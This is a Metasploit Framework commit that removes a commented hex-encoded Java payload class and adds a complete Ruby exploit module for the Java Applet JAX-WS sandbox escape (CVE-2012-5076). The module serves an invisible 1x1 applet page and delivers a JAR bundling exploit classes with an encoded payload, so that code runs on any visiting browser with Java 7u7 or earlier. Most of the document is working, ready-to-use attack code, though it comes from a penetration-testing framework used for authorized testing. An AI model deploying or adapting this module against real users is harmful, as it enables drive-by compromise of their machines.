fixing bperry comments

unstable
jvazquez-r7 2012-11-11 20:18:19 +01:00
parent 08cc6d56ec
commit 5076198ba2
4 changed files with 119 additions and 3 deletions

View File

@ -35,9 +35,6 @@ public class Exploit extends Applet
{
try
{
// Hex String for MyPayload.class
//String my_payload = "cafebabe0000003300350a000a001a0a001b001c07001d0a0003001e0a001f002009001f00210800220a002300240700250700260700270100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d537461636b4d61705461626c6507002507001d01000372756e01001428294c6a6176612f6c616e672f4f626a6563743b01000a457863657074696f6e730700280100017201000a536f7572636546696c6501000e4d795061796c6f61642e6a6176610c000c000d0700290c002a002b0100276a6176612f73656375726974792f50726976696c65676564416374696f6e457863657074696f6e0c002c000d07002d0c002e002f0c0030003101000668656c6c6f210700320c003300340100094d795061796c6f61640100106a6176612f6c616e672f4f626a6563740100276a6176612f73656375726974792f50726976696c65676564457863657074696f6e416374696f6e0100136a6176612f6c616e672f457863657074696f6e01001e6a6176612f73656375726974792f416363657373436f6e74726f6c6c657201000c646f50726976696c6567656401003d284c6a6176612f73656375726974792f50726976696c65676564457863657074696f6e416374696f6e3b294c6a6176612f6c616e672f4f626a6563743b01000f7072696e74537461636b54726163650100106a6176612f6c616e672f53797374656d01001273657453656375726974794d616e6167657201001e284c6a6176612f6c616e672f53656375726974794d616e616765723b29560100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f537472696e673b295600210009000a0001000b000000030001000c000d0001000e0000005c00010002000000122ab700012ab8000257a700084c2bb60004b1000100040009000c00030002000f0000001a0006000000080004000b00090010000c000d000d000f001100110010000000100002ff000c00010700110001070012040001001300140002000e00000022000100010000000601b8000501b000000001000f0000000a000200000016000400170015000000040001001600090017000d0002000e000000250002000000000009b200061207b60008b100000001000f0000000a00020000001d0008001e0015000000040001001600010018000000020019";
//byte[] byte_payload = hex2Byte(my_payload);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int length;

View File

@ -0,0 +1,119 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet JAX-WS Remote Code Execution',
'Description' => %q{
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in November of 2012. The
vulnerability affects Java version 7u7 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez' # metasploit module
],
'References' =>
[
[ 'CVE', '2012-5076' ],
[ 'OSVDB', '86363' ],
[ 'BID', '56054' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
],
'Platform' => [ 'java', 'win' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2012'
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status("#{self.name} handling request")
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "Exploit.class" ],
[ "MyPayload.class" ]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end